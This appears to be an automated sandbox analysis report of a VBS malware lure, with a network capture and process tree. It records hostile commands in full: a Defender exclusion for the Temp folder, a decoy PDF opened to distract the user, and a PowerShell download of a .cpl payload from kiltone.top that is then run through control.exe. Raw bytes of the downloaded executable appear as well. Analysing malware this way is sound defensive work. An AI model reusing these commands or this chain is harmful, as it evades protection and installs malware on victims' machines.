                                                                                                                                                                  Data Ascii: .0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1163 0 obj<</BBox[0.0 0.0 69.72 11.64]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>s
                                                                                                                                                                  2024-12-22 11:15:27 UTC16384INData Raw: e8 48 39 d1 05 c0 79 42 04 5a e3 c4 b9 9c 20 f1 b9 13 3d 5c 7c 39 04 c2 75 75 d3 d9 cf da 31 f9 28 bb 3d 18 e4 f3 b4 10 53 7a f0 bc 54 77 ca fb 14 a4 91 3d 25 8a 0e 85 d7 a0 f9 1b 63 3f f3 51 ae d6 8d 15 58 cd d6 7e 96 f6 b3 0a 03 ee 91 ab 80 f2 a4 5c bb 3e 23 08 cd e8 45 de 63 a5 a8 bb 2e 4d 7a 3c b2 7e 61 38 d3 30 45 7b 7c 2d 22 e0 24 70 14 12 42 2c 4d bf d7 28 66 dc 89 2b 9d 2d 34 92 e8 d2 06 8f 52 d4 82 07 8a 69 b0 38 0e 68 b9 b4 a0 79 ad 7b b7 6c ec e5 fc e8 b9 0e 26 64 41 0c 8e 11 f2 de 0c 5a ec 43 c1 19 96 3e 1c ef da 92 ba 56 33 cd 78 b1 95 60 43 56 b8 d0 15 02 15 47 82 1b e1 38 26 12 09 4e 74 15 59 8c 01 8c dc 15 8d 0f 01 12 42 6f d8 25 2a ab 47 87 44 14 74 e4 43 48 61 06 24 07 c6 5b 6c 8b 40 47 eb 01 22 e8 53 27 29 46 1f 91 a5 2f 44 7f cb 18 21
                                                                                                                                                                  Data Ascii: H9yBZ =\|9uu1(=SzTw=%c?QX~\>#Ec.Mz<~a80E{|-"$pB,M(f+-4Ri8hy{l&dAZC>V3x`CVG8&NtYBo%*GDtCHa$[l@G"S')F/D!


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  4192.168.2.74975645.125.67.1684434332C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-22 11:15:38 UTC176OUTGET /stelin/Gosjeufon.cpl HTTP/1.1
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                                                                                                                                  Host: kiltone.top
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  2024-12-22 11:15:39 UTC253INHTTP/1.1 200 OK
                                                                                                                                                                  Server: nginx/1.18.0
                                                                                                                                                                  Date: Sun, 22 Dec 2024 11:15:38 GMT
                                                                                                                                                                  Content-Type: application/octet-stream
                                                                                                                                                                  Content-Length: 902856
                                                                                                                                                                  Last-Modified: Wed, 18 Dec 2024 23:38:35 GMT
                                                                                                                                                                  Connection: close
                                                                                                                                                                  ETag: "67635cfb-dc6c8"
                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                  2024-12-22 11:15:39 UTC16131INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 84 7b 68 8b c0 1a 06 d8 c0 1a 06 d8 c0 1a 06 d8 b3 78 05 d9 d2 1a 06 d8 b3 78 03 d9 72 1a 06 d8 b3 78 02 d9 d7 1a 06 d8 92 6f 02 d9 d1 1a 06 d8 92 6f 05 d9 d8 1a 06 d8 92 6f 03 d9 9f 1a 06 d8 0a 6f 03 d9 e9 1a 06 d8 b3 78 00 d9 c1 1a 06 d8 b3 78 07 d9 cf 1a 06 d8 c0 1a 07 d8 71 1a 06 d8 0a 6f 0f d9 c1 1a 06 d8 0a 6f f9 d8 c1 1a 06 d8 c0 1a 91 d8 c1 1a 06 d8 0a 6f 04 d9 c1 1a 06
                                                                                                                                                                  Data Ascii: MZ@!L!This program cannot be run in DOS mode.${hxxrxooooxxqooo
                                                                                                                                                                  2024-12-22 11:15:39 UTC16384INData Raw: 08 c7 45 fc 00 00 00 00 8d 4e 10 c7 06 9c b3 48 00 c7 46 0c 04 00 00 00 e8 c0 17 01 00 c7 06 4c bc 48 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c2 04 00 cc cc cc cc cc cc 55 8b ec 6a ff 68 dd 33 48 00 64 a1 00 00 00 00 50 51 56 a1 34 61 4b 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 89 75 f0 0f 57 c0 66 0f d6 46 04 ff 75 08 c7 45 fc 00 00 00 00 8d 4e 10 c7 06 9c b3 48 00 c7 46 0c 00 00 00 00 e8 50 17 01 00 c7 06 b4 b3 48 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c2 04 00 cc cc cc cc cc cc 55 8b ec 6a ff 68 dd 33 48 00 64 a1 00 00 00 00 50 51 56 a1 34 61 4b 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 89 75 f0 0f 57 c0 66 0f d6 46 04 ff 75 08 c7 45 fc 00 00 00 00 8d 4e 10 c7 06 9c b3 48 00 c7 46 0c 02 00 00 00 e8 e0 16 01 00 c7 06
                                                                                                                                                                  Data Ascii: ENHFLHMdY^]Ujh3HdPQV4aK3PEduWfFuENHFPHMdY^]Ujh3HdPQV4aK3PEduWfFuENHF
                                                                                                                                                                  2024-12-22 11:15:39 UTC16384INData Raw: 45 fc 02 00 00 00 50 8b cf e8 ef 02 00 00 8d 77 18 50 8b ce e8 04 d7 00 00 8b 95 a4 fe ff ff 83 fa 10 72 2f 8b 8d 90 fe ff ff 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 9a 02 00 00 52 51 e8 68 4e 05 00 83 c4 08 83 7e 14 10 72 02 8b 36 ff 77 28 8b 85 00 ff ff ff 8d 8d 00 ff ff ff 56 ff 50 10 8d 45 cc 50 8b 85 00 ff ff ff 8d 8d 00 ff ff ff ff 50 18 6a 4c 8d 85 b0 fe ff ff 6a 00 50 e8 ec 6b 05 00 83 c4 0c c7 85 90 fe ff ff 00 00 00 00 8d 8d 90 fe ff ff c7 85 a0 fe ff ff 00 00 00 00 c7 85 a4 fe ff ff 0f 00 00 00 c6 85 90 fe ff ff 00 6a 00 68 5b 38 4a 00 e8 a2 fb 00 00 c6 45 fc 03 8d 8d 74 fe ff ff 6a 01 c7 85 74 fe ff ff 00 00 00 00 68 bc 3d 4a 00 c7 85 84 fe ff ff 00 00 00 00 c7 85 88 fe ff ff 0f 00 00 00 c6 85 74 fe ff
                                                                                                                                                                  Data Ascii: EPwPr/BrI#+RQhN~r6w(VPEPPjLjPkjh[8JEtjth=Jt
                                                                                                                                                                  2024-12-22 11:15:39 UTC16384INData Raw: 8d 14 fb ff ff 8b 85 00 fb ff ff 47 57 89 bd 48 e7 ff ff 8b 40 04 03 c8 8b 01 25 ff f9 ff ff 0d 00 08 00 00 89 01 8d 8d 00 fb ff ff e8 ec 91 00 00 8d 45 b8 50 8d 8d f0 fa ff ff e8 1d 64 00 00 6a 5c 8d 85 88 fe ff ff c6 45 fc 0e 6a 00 50 e8 29 2c 05 00 83 c4 0c 8d 8d 88 fe ff ff e8 6b 52 00 00 c7 85 70 ff ff ff 00 00 00 00 c7 45 80 00 00 00 00 c7 45 84 0f 00 00 00 c6 85 70 ff ff ff 00 c6 45 fc 10 8b 8d 90 fe ff ff ff 35 00 60 4b 00 6a 10 8b 01 ff b5 24 ff ff ff ff 50 18 8d 8d 88 fe ff ff e8 b4 41 03 00 6a 78 e8 87 0b 05 00 8b f8 83 c4 04 89 bd 44 e7 ff ff 6a 78 6a 00 57 c6 45 fc 11 e8 b4 2b 05 00 83 c4 0c 6a 10 e8 64 0b 05 00 8b f0 83 c4 04 89 b5 50 e7 ff ff 0f 57 c0 c6 45 fc 12 6a 00 8b ce 0f 11 06 e8 6c 50 01 00 8d 85 70 ff ff ff c7 06 18 dd 48 00 c7 46
                                                                                                                                                                  Data Ascii: GWH@%EPdj\EjP),kRpEEpE5`Kj$PAjxDjxjWE+jdPWEjlPpHF
                                                                                                                                                                  2024-12-22 11:15:39 UTC16384INData Raw: 8d 8d 88 fe ff ff e8 e2 55 00 00 8d 85 88 fe ff ff c6 45 fc 2c 50 8d 4d e4 e8 5f 0d 00 00 8d 8d 88 fe ff ff c6 45 fc 13 e8 60 55 00 00 68 a0 55 4a 00 8d 8d 88 fe ff ff e8 b0 55 00 00 8d 85 88 fe ff ff c6 45 fc 2d 50 8d 4d e4 e8 2d 0d 00 00 8d 8d 88 fe ff ff c6 45 fc 13 e8 2e 55 00 00 8d 4d e4 33 f6 e8 f4 0c 00 00 85 c0 74 6b ba a8 55 4a 00 b9 38 cf 4b 00 e8 e1 96 00 00 50 e8 fb 9e 00 00 83 ec 14 8d 45 9c 8b cc 89 a5 84 fe ff ff 50 e8 47 57 00 00 83 ec 40 c6 45 fc 2e 8b cc 8d 85 fc fe ff ff 6a 01 50 e8 d0 8b ff ff 56 8d 4d e4 e8 87 0c 00 00 8b c8 e8 c0 54 00 00 8b c8 c6 45 fc 13 e8 95 d3 ff ff 83 c4 58 8d 4d e4 46 e8 89 0c 00 00 3b f0 72 95 8d 8d a0 fe ff ff e8 7a 00 00 00 8d 4d b4 e8 f2 0b 00 00 8d 4d 84 e8 9a 54 00 00 8d 8d 6c ff ff ff e8 8f 54 00 00 8d
                                                                                                                                                                  Data Ascii: UE,PM_E`UhUJUE-PM-E.UM3tkUJ8KPEPGW@E.jPVMTEXMF;rzMMTlT
                                                                                                                                                                  2024-12-22 11:15:39 UTC16384INData Raw: 7c 72 8b 5d 0c 7f 04 85 db 74 69 c6 45 fc 02 50 8b 06 53 ff 75 08 8b 48 04 8b 4c 31 38 e8 8b 35 00 00 89 46 08 89 56 0c 3b c3 75 05 3b 55 10 74 3c bf 03 00 00 00 eb 35 8b 4d ec 6a 01 8b 01 8b 70 04 b8 04 00 00 00 03 f1 33 c9 8b 56 0c 83 ca 04 39 4e 38 0f 45 c1 8b ce 0b c2 50 e8 7c d7 fe ff b8 6a 4b 41 00 c3 8b 75 ec 8b 7d e8 c7 45 fc 01 00 00 00 8b 06 6a 00 8b 48 04 b8 04 00 00 00 03 ce 8b 51 0c 0b d7 33 ff 39 79 38 0f 45 c7 0b c2 50 e8 46 d7 fe ff c7 45 fc 04 00 00 00 8b 06 8b 40 04 8b 4c 30 38 85 c9 74 05 8b 01 ff 50 08 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc 8b 41 e8 8b 40 04 c7 44 08 e8 d4 5e 4a 00 8b 41 e8 8b 50 04 8d 42 e8 89 44 0a e4 c3 cc cc cc cc 55 8b ec 83 e4 f8 83 ec 1c 8b 45 10 53 8b 5d 0c 03 5d
                                                                                                                                                                  Data Ascii: |r]tiEPSuHL185FV;u;Ut<5Mjp3V9N8EP|jKAu}EjHQ39y8EPFE@L08tPMdY_^[]A@D^JAPBDUES]]
                                                                                                                                                                  2024-12-22 11:15:39 UTC16384INData Raw: 0c 8b 75 14 83 f8 ff 75 04 c6 45 10 01 83 ef 01 75 bb 8b 45 fc 5b 8b 4d 10 5f 89 70 04 89 08 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 8b 45 0c 53 8b 5d 18 56 8b 75 14 57 8b 7d 1c 89 45 f8 85 ff 74 55 0f 1f 40 00 85 f6 74 40 8b 46 20 8a 0b 88 4d ff 83 38 00 74 20 8b 56 30 8b 02 85 c0 7e 17 48 89 02 8b 4e 20 8b 11 8d 42 01 89 01 8a 45 ff 88 02 0f b6 c0 eb 0b 8b 16 0f b6 c1 8b ce 50 ff 52 0c 8b 75 14 83 f8 ff 75 04 c6 45 10 01 43 83 ef 01 75 b2 8b 45 f8 8b 4d 10 5f 89 70 04 5e 89 08 5b 8b e5 5d c3 55 8b ec 6a ff 68 e5 55 48 00 64 a1 00 00 00 00 50 83 ec 4c a1 34 61 4b 00 33 c5 89 45 f0 53 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b 7d 24 8b 45 0c 8b 4d 18 8b 5d 20 89 45 a8 89 4d ac 85 ff 74 11 8a 03 3c 2b 74 04 3c 2d 75 07 be 01 00 00 00 eb 02
                                                                                                                                                                  Data Ascii: uuEuE[M_p^]UES]VuW}EtU@t@F M8t V0~HN BEPRuuECuEM_p^[]UjhUHdPL4aK3ESVWPEd}$EM] EMt<+t<-u
                                                                                                                                                                  2024-12-22 11:15:39 UTC16384INData Raw: 8b c3 5f 5e 5b 8b e5 5d c2 0c 00 8b 45 fc 2b c8 3b d1 77 59 0f 10 07 40 50 0f 11 03 f3 0f 7e 47 10 66 0f d6 43 10 c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 8b 3b 57 8d 04 17 50 e8 ba 26 04 00 83 c4 0c 83 7e 14 10 72 02 8b 36 8b 4d f4 51 56 57 e8 a4 26 04 00 8b 45 f8 83 c4 0c 89 43 10 8b c3 5f 5e 5b 8b e5 5d c2 0c 00 b8 ff ff ff 7f 2b c2 3b 45 fc 0f 82 c0 00 00 00 8b 45 f8 83 c8 0f 3d ff ff ff 7f 76 07 b8 ff ff ff 7f eb 0a b9 16 00 00 00 3b c1 0f 42 c1 33 c9 89 45 ec 83 c0 01 0f 92 c1 f7 d9 0b c8 81 f9 00 10 00 00 72 26 8d 41 23 3b c1 0f 86 85 00 00 00 50 e8 74 0b 04 00 83 c4 04 85 c0 74 7d 8b 55 f4 8d 48 23 83 e1 e0 89 41 fc eb 19 85 c9 74 13 51 e8 55 0b 04 00 8b 55 f4 83 c4 04 8b c8 89 45 f0 eb 05 33 c9 89 4d f0 8b 45 f8 89 43 10 8b 45 ec 89 0b
                                                                                                                                                                  Data Ascii: _^[]E+;wY@P~GfCGG;WP&~r6MQVW&EC_^[]+;EE=v;B3Er&A#;Ptt}UH#AtQUUE3MECE
                                                                                                                                                                  2024-12-22 11:15:39 UTC16384INData Raw: 8b 4d ec 8b f0 ff 75 d4 8b 3e e8 7e 09 00 00 50 ff 75 f0 8b ce ff 75 e8 ff 57 10 8b 55 c8 39 55 c4 8b 75 cc 8b fe 0f 42 55 c4 33 c0 c6 45 fc 0d 8b ca f3 ab 56 85 d2 74 07 e8 ff a3 02 00 eb 05 e8 68 a4 02 00 83 c4 04 8b 55 f0 32 c0 8b fa c7 45 fc 0e 00 00 00 8b cb f3 aa 52 e8 4d a4 02 00 8b 45 e8 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 8d e8 00 00 00 33 cd e8 8e c9 03 00 8d a5 ec 00 00 00 5d c2 18 00 8b 03 6a 0a ff 50 10 50 8d 85 d0 00 00 00 50 e8 2e f7 ff ff 8b f8 6a 0a 8d 85 90 00 00 00 c7 45 fc 00 00 00 00 56 50 e8 16 f7 ff ff 83 c4 18 8b f0 8b 43 04 8d 4b 04 8d 55 78 c6 45 fc 01 52 ff 50 08 68 b0 bb 48 00 50 8d 45 60 c6 45 fc 02 50 e8 5d 9a ff ff 56 50 8d 45 48 c6 45 fc 03 50 e8 9e 9a ff ff 68 88 bb 48 00 50 8d 45 30 c6 45 fc 04 50 e8 3b
                                                                                                                                                                  Data Ascii: Mu>~PuuWU9UuBU3EVthU2ERMEMdY_^[3]jPPP.jEVPCKUxERPhHPE`EP]VPEHEPhHPE0EP;
                                                                                                                                                                  2024-12-22 11:15:39 UTC16384INData Raw: 88 5f 08 8b 75 08 8b ce 57 c6 45 fc 00 e8 ab e9 01 00 8b 4d e8 c7 45 fc 03 00 00 00 85 c9 74 06 8b 11 6a 01 ff 12 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 cc cc cc 56 8b f1 e8 e8 11 fe ff f6 44 24 08 01 74 0b 6a 14 56 e8 64 8e 03 00 83 c4 08 8b c6 5e c2 04 00 f6 44 24 04 01 56 8b f1 c7 06 7c bc 48 00 74 0b 6a 0c 56 e8 43 8e 03 00 83 c4 08 8b c6 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 57 68 08 72 4b 00 68 20 6c 4b 00 8b f1 e8 06 a3 03 00 8b 7c 24 1c 83 c4 08 85 c0 75 15 8d 46 10 50 57 ff 74 24 18 e8 14 29 00 00 83 c4 0c 84 c0 75 1a ff 74 24 10 68 1c 6c 4b 00 ff 74 24 14 e8 0b 04 fe ff 8a 46 10 83 c4 0c 88 07 5f 5e c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 57 68 08 72 4b 00 68 10 6c 4b 00 8b f1 e8 a6 a2 03
                                                                                                                                                                  Data Ascii: _uWEMEtjMdY_^[]VD$tjVd^D$V|HtjVC^VWhrKh lK|$uFPWt$)ut$hlKt$F_^VWhrKhlK


                                                                                                                                                                  Click to jump to process

                                                                                                                                                                  Click to jump to process

                                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                                  Click to jump to process

                                                                                                                                                                  Target ID:2
                                                                                                                                                                  Start time:06:15:12
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\wscript.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs"
                                                                                                                                                                  Imagebase:0x7ff7a0ee0000
                                                                                                                                                                  File size:170'496 bytes
                                                                                                                                                                  MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:4
                                                                                                                                                                  Start time:06:15:13
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'
                                                                                                                                                                  Imagebase:0x7ff741d30000
                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:5
                                                                                                                                                                  Start time:06:15:13
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:9
                                                                                                                                                                  Start time:06:15:16
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                                                  Imagebase:0x7ff612f10000
                                                                                                                                                                  File size:289'792 bytes
                                                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:10
                                                                                                                                                                  Start time:06:15:16
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:11
                                                                                                                                                                  Start time:06:15:16
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                                                  Imagebase:0x7ff741d30000
                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:13
                                                                                                                                                                  Start time:06:15:18
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
                                                                                                                                                                  Imagebase:0x7ff6c4390000
                                                                                                                                                                  File size:3'242'272 bytes
                                                                                                                                                                  MD5 hash:5BBFA6CBDF4C254EB368D534F9E23C92
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:false

                                                                                                                                                                  Target ID:14
                                                                                                                                                                  Start time:06:15:18
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
                                                                                                                                                                  Imagebase:0x7ff612f10000
                                                                                                                                                                  File size:289'792 bytes
                                                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:15
                                                                                                                                                                  Start time:06:15:18
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:16
                                                                                                                                                                  Start time:06:15:18
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
                                                                                                                                                                  Imagebase:0x7ff741d30000
                                                                                                                                                                  File size:452'608 bytes
                                                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Reputation:high
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:17
                                                                                                                                                                  Start time:06:15:18
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                  Imagebase:0x7ff7b4ee0000
                                                                                                                                                                  File size:55'320 bytes
                                                                                                                                                                  MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:false

                                                                                                                                                                  Target ID:18
                                                                                                                                                                  Start time:06:15:18
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2000,i,4385509434330054281,2454780159223617298,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
                                                                                                                                                                  Imagebase:0x7ff6c4390000
                                                                                                                                                                  File size:3'242'272 bytes
                                                                                                                                                                  MD5 hash:5BBFA6CBDF4C254EB368D534F9E23C92
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:false

                                                                                                                                                                  Target ID:19
                                                                                                                                                                  Start time:06:15:24
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:"C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
                                                                                                                                                                  Imagebase:0x7ff612f10000
                                                                                                                                                                  File size:289'792 bytes
                                                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:20
                                                                                                                                                                  Start time:06:15:24
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  Imagebase:0x7ff75da10000
                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:21
                                                                                                                                                                  Start time:06:15:24
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\control.exe
                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                  Commandline:control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
                                                                                                                                                                  Imagebase:0x7ff7d7780000
                                                                                                                                                                  File size:164'352 bytes
                                                                                                                                                                  MD5 hash:11C18DBF352D81C9532A8EF442151CB1
                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                  Has exited:true

                                                                                                                                                                  Target ID:22
                                                                                                                                                                  Start time:06:15:24
                                                                                                                                                                  Start date:22/12/2024
                                                                                                                                                                  Path:C:\Windows\System32\rundll32.exe
                                                                                                                                                                  Wow64 process (32bit):false
